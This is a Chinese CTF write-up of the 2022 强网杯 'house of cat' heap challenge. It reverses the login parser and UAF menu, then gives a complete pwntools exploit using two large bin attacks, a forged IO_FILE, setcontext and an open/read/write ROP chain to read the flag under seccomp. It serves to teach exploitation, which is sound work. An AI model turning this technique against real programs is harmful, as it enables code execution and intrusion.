[PWN]强网杯2022 house of cat
作者:互联网
IDA分析
一个初始化函数,然后进一个while循环,memset 一块空间往里面读入数据交给 sub_19D6 函数处理
初始化函数设置缓冲区,开了沙盒,然后把一个libc的地址存到bss段上,然后给变量 qword_4168 赋值为 64
sub_155E 函数把变量 qword_4168 的值64放到那个 libc 地址中
然后分配一块空间,读入数据,进到处理函数 sub_19D6
该函数如果 login 函数返回真则进入sub_1DF3 函数
login 函数
首先判断第一块空间里是否有 QWB 没有的话返回0,有的话,把 QW 去掉然后 B 换成空格
然后把first_memset用空格切割,第一块里面如果是 LOGIN 就把 second_memset + 8 的位置写上1
如果是DOG CAT ....就分别写上 2 3 ....
first_memset 中的第二块必须要有 | 否则返回0,然后把第二块的值写到 second_memset 中
第三块必须是 r00t 否则返回0,这里的v5就是QWB后面的字符串,把QWB后面的字符串+5开始写到 second_memset + 16 中1
判断 v5 中是否有 QWXF 没有返回0,有把 QWX 写为0 ,F写为空格
所以要返回 1 ,first_memset 中必须要有QWB,QWB后面得有QWXF,然后通过空格分割 first_memset 第二块要有 | 第三块是r00t
然后看 sub_1DF3 函数,如果 second_memset + 8 是1 即first_memset 通过空格分割第一块是LOGIN ,而且 second_memset + 16 的位置是 admin 即从 QWB 开始 + 8 位置是 admin 则 dword_4040[0] 写入1,如果 second_memset + 8是3的话进入下面的循环
所以我们先输入 LOGIN | r00t QWBQWXF admin 将 dword_4040[0]写为1
然后把LOGIN 换成 CAT 进入下面的分支
然后后会把 second_memset + 16 的位置即 从QWB 开始 +8 的位置以 $ 分割,如果是dword_4014 即 0FFFFFFFF 就进入下面的分支
所以第二次我们输入 CAT | r00t QWBQWXF $\xff\xff\xff\xff
后面的话就是一个菜单题了
menu 函数可以看出程序实现了4个功能
我们一个个看,首先是add
通过calloc申请堆块,能申请0xF个且大小都为large chunk大小
然后是delete
存在 UAF漏洞
然后是 show
输出0x30大小
最后是mini_edit
可以修改0x30大小,然后可以修改两次
有 UAF 又有两次 edit ,即有两次large bin attack的机会
seccomp-tools 查看沙盒
只允许 getrandom / open / close / mmap / brk / exit_group / read / write 系统调用,且 read的时候 fd 必须为 0
所以可以先 close(0) 然后在 open ,这样拿到的fd就是0了
我们可以第一次 large bin attack 打 stderr 然后第二次 large bin attack 打 top_chunk 的size,最终进入 _malloc_assert 然后执行相关 IO 函数
首先我们看house of cat中利用的函数 _IO_wfile_seekoff ,如果说 was_writing 是true就会进入 _IO_switch_to_wget_mode 函数执行,所以这里
fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base 满足这个条件之后,进入 _IO_switch_to_wget_mode 函数
我们进入 _IO_switch_to_wget_mode 函数看到如果满足 fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base 则会去执行 _IO_WOVERFLOW(fp. WEOP) 函数
我们来看该函数的汇编代码,
所以可以构造如下io_file
exp如下
from pwn import * from LibcSearcher import * from pwncli import ShellcodeMall context.terminal = ['tmux', 'split', '-h'] # context.log_level = 'debug' context.os = 'linux' context.arch = 'amd64' binary = './house_of_cat' ip = '' port = 0 gs = ''' b _IO_switch_to_wget_mode c ''' sh = process(binary) # sh = remote(ip, port) elf = ELF(binary) libc = elf.libc # libc = ELF('./libc.so.6') ru = lambda x,drop = False : sh.recvuntil(x, drop) sn = lambda x : sh.send(x) rl = lambda : sh.recvline() sl = lambda x : sh.sendline(x) rv = lambda x : sh.recv(x) sa = lambda a,b : sh.sendafter(a,b) sla = lambda a,b : sh.sendlineafter(a,b) def int2bytes(num): return str(num).encode('utf-8') def malloc(idx, size, content): sa(b'mew mew mew~~~~~~', b'CAT | r00t QWBQWXF $\xff\xff\xff\xff') sla(b'plz input your cat choice:\n',int2bytes(1)) sla(b'plz input your cat idx:\n',int2bytes(idx)) sla(b'plz input your cat size:\n',int2bytes(size)) sa(b'plz input your content:\n',content) def edit(idx, content): sa(b'mew mew mew~~~~~~', b'CAT | r00t QWBQWXF $\xff\xff\xff\xff') sla(b'plz input your cat choice:\n', int2bytes(4)) sla(b'plz input your cat idx:\n',int2bytes(idx)) sa(b'plz input your content:\n', content) def free(idx): sa(b'mew mew mew~~~~~~', b'CAT | r00t QWBQWXF $\xff\xff\xff\xff') sla(b'plz input your cat choice:\n', int2bytes(2)) sla(b'plz input your cat idx:\n',int2bytes(idx)) def show(idx): sa(b'mew mew mew~~~~~~', b'CAT | r00t QWBQWXF $\xff\xff\xff\xff') sla(b'plz input your cat choice:\n', int2bytes(3)) sla(b'plz input your cat idx:\n',int2bytes(idx)) sa(b'mew mew mew~~~~~~', b'LOGIN | r00t QWBQWXF admin') malloc(0, 0x418, b'aaaa') malloc(1, 0x428, b'flag') malloc(2, 0x428, b'cccc') malloc(3, 0x418, b'dddd') free(0) free(2) show(0) rl() libc_base = u64(rv(8)) - 0x219ce0 heap_base = u64(rv(8)) - 0xae0 log.success('libc_base ==> ' + hex(libc_base)) log.success('heap_base ==> ' + hex(heap_base)) pop_rdi = libc_base + 0x2a3e5 pop_rsi = libc_base + 0x2be51 pop_rdx_r12 = libc_base + 0x11f497 pop_rcx = libc_base + 0x8c6bb ret = libc_base + 0x29cd6 pop_rax = libc_base + 0x45eb0 close_addr = libc_base + libc.sym['close'] open_addr = libc_base + libc.sym['open'] read_addr = libc_base + libc.sym['read'] write_addr = libc_base + libc.sym['write'] flag_addr = heap_base + 0x6c0 stderr_addr = libc_base + 0x21a860 top_chunk = heap_base + 0x31b0 io_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps'] vtable = io_wfile_jumps + 0x10 setcontext = libc_base + libc.sym['setcontext'] close=libc_base + libc.sym['close'] read=libc_base + libc.sym['read'] write=libc_base + libc.sym['write'] syscallret=libc_base + next(libc.search(asm('syscall\nret'))) log.success('io_wfile_jumps ==> ' + hex(io_wfile_jumps)) _wide_data = heap_base + 0x1340 rdx = _wide_data + 0x100 rax2 = heap_base + 0x1780 rop11 = rdx + 0xb0 io_file = b'' io_file = io_file.ljust(0x30, b'\x00') io_file = io_file.ljust(0x88, b'\x00') io_file += p64(heap_base + 0x6c0 + 0x100) io_file = io_file.ljust(0xa0, b'\x00') io_file += p64(_wide_data) io_file = io_file.ljust(0xd8, b'\x00') io_file += p64(vtable) malloc(4, 0x418, io_file[0x10:]) # IO_FILE pay = b'ppp' pay = pay.ljust(0x20, b'\x00') pay += p64(rdx) pay = pay.ljust(0xe0, b'\x00') pay += p64(rax2) pay = pay.ljust(0x100, b'\x00') # =======rdx======= pay += b'\x00' * 0xa0 pay += p64(rop11) pay += p64(ret) # ========rop========= pay += p64(pop_rdi) pay += p64(0) pay += p64(close_addr) pay += p64(pop_rdi) pay += p64(flag_addr) pay += p64(pop_rsi) pay += p64(0) pay += p64(pop_rax) pay += p64(2) pay += p64(syscallret) pay += p64(pop_rdi) pay += p64(0) pay += p64(pop_rsi) pay += p64(flag_addr) pay += p64(pop_rdx_r12) pay += p64(0x50) pay += p64(0) pay += p64(read_addr) pay += p64(pop_rdi) pay += p64(1) pay += p64(write_addr) malloc(5, 0x438, pay) # heapbase + 0x1340 edit(2, p64(libc_base + 0x21a0d0) * 2 + p64(heap_base + 0xae0) + p64(stderr_addr - 0x20)) free(4) malloc(6, 0x438, b'\x00' * 0x18 + p64(setcontext + 61)) # rax2 malloc(7, 0x458, b'hhhh') malloc(8, 0x468, b'a') malloc(9, 0x448, b'jjjj') malloc(10, 0x468, b'a') free(7) malloc(11, 0x468, b'kkkk') edit(7, p64(libc_base + 0x21a0e0) * 2 + p64(heap_base + 0x1bb0) + p64(top_chunk - 0x20 + 3)) free(9) gdb.attach(sh, gs) # pause() sa(b'mew mew mew~~~~~~', b'CAT | r00t QWBQWXF $\xff\xff\xff\xff') sla(b'plz input your cat choice:\n',int2bytes(1)) sla(b'plz input your cat idx:\n',int2bytes(12)) sla(b'plz input your cat size:\n',int2bytes(0x468)) sh.interactive() ''' 0x000000000002a3e5: pop rdi; ret; 0x000000000002be51: pop rsi; ret; 0x000000000011f497: pop rdx; pop r12; ret; 0x000000000008c6bb: pop rcx; ret; 0x0000000000029cd6: ret; 0x0000000000045eb0: pop rax; ret; '''
标签:p64,libc,pay,pop,cat,强网杯,base,PWN,xff 来源: https://www.cnblogs.com/boycc1/p/16678370.html